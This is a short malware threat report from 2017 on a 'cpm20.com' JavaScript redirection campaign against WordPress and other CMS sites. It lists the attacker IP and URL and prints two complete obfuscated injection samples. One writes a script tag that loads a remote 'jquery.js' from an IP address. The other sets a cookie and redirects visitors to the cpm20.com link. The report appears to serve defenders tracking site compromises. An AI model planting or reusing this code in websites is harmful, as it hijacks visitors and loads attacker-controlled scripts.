Malware Threats Report #2017112422

Date	2017-11-24
Type	cpm20.com JS redirection
Target	WordPress and other CSM
Malware Domain	http://134.249.116.78/jquery.js, https://www.cpm20.com/watch?key=789a4129e78c00008a47b36e23d65ea7
Malware Code	var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));
Malware Code	var _0xb5bd=["\x67\x65\x74\x54\x69\x6D\x65","\x73\x65\x74\x54\x69\x6D\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67","\x3B\x20\x70\x61\x74\x68\x3D","","\x69\x6E\x64\x65\x78\x4F\x66","\x6C\x65\x6E\x67\x74\x68","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x3B","\x63\x6F\x6F\x6B\x69\x65\x45\x6E\x61\x62\x6C\x65\x64","\x63\x73\x72\x66\x5F\x75\x69\x64\x73","\x31","\x2F","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x63\x70\x6D\x32\x30\x2E\x63\x6F\x6D\x2F\x77\x61\x74\x63\x68\x3F\x6B\x65\x79\x3D\x37\x38\x39\x61\x34\x31\x32\x39\x65\x37\x38\x63\x30\x30\x30\x30\x38\x61\x34\x37\x62\x33\x36\x65\x32\x33\x64\x36\x35\x65\x61\x37"];function _m1n_(_0x2d08x2,_0x2d08x3,_0x2d08x4,_0x2d08x5){var _0x2d08x6= new Date();var _0x2d08x7= new Date();if(_0x2d08x4=== null\|\| _0x2d08x4=== 0){_0x2d08x4= 3};_0x2d08x7[_0xb5bd[1]](_0x2d08x6[_0xb5bd[0]]()+ 3600000* 24* _0x2d08x4);document[_0xb5bd[2]]= _0x2d08x2+ _0xb5bd[3]+ escape(_0x2d08x3)+ _0xb5bd[4]+ _0x2d08x7[_0xb5bd[5]]()+ ((_0x2d08x5)?_0xb5bd[6]+ _0x2d08x5:_0xb5bd[7])}function _n1m_(_0x2d08x9){var _0x2d08xa=document[_0xb5bd[2]][_0xb5bd[8]](_0x2d08x9+ _0xb5bd[3]);var _0x2d08xb=_0x2d08xa+ _0x2d08x9[_0xb5bd[9]]+ 1;if((!_0x2d08xa) && (_0x2d08x9!= document[_0xb5bd[2]][_0xb5bd[10]](0,_0x2d08x9[_0xb5bd[9]]))){return null};if(_0x2d08xa== -1){return null};var _0x2d08xc=document[_0xb5bd[2]][_0xb5bd[8]](_0xb5bd[11],_0x2d08xb);if(_0x2d08xc== -1){_0x2d08xc= document[_0xb5bd[2]][_0xb5bd[9]]};return unescape(document[_0xb5bd[2]][_0xb5bd[10]](_0x2d08xb,_0x2d08xc))}if(navigator[_0xb5bd[12]]){if(_n1m_(_0xb5bd[13])== 1){}else {_m1n_(_0xb5bd[13],_0xb5bd[14],_0xb5bd[14],_0xb5bd[15]);window[_0xb5bd[17]][_0xb5bd[16]]= _0xb5bd[18]}}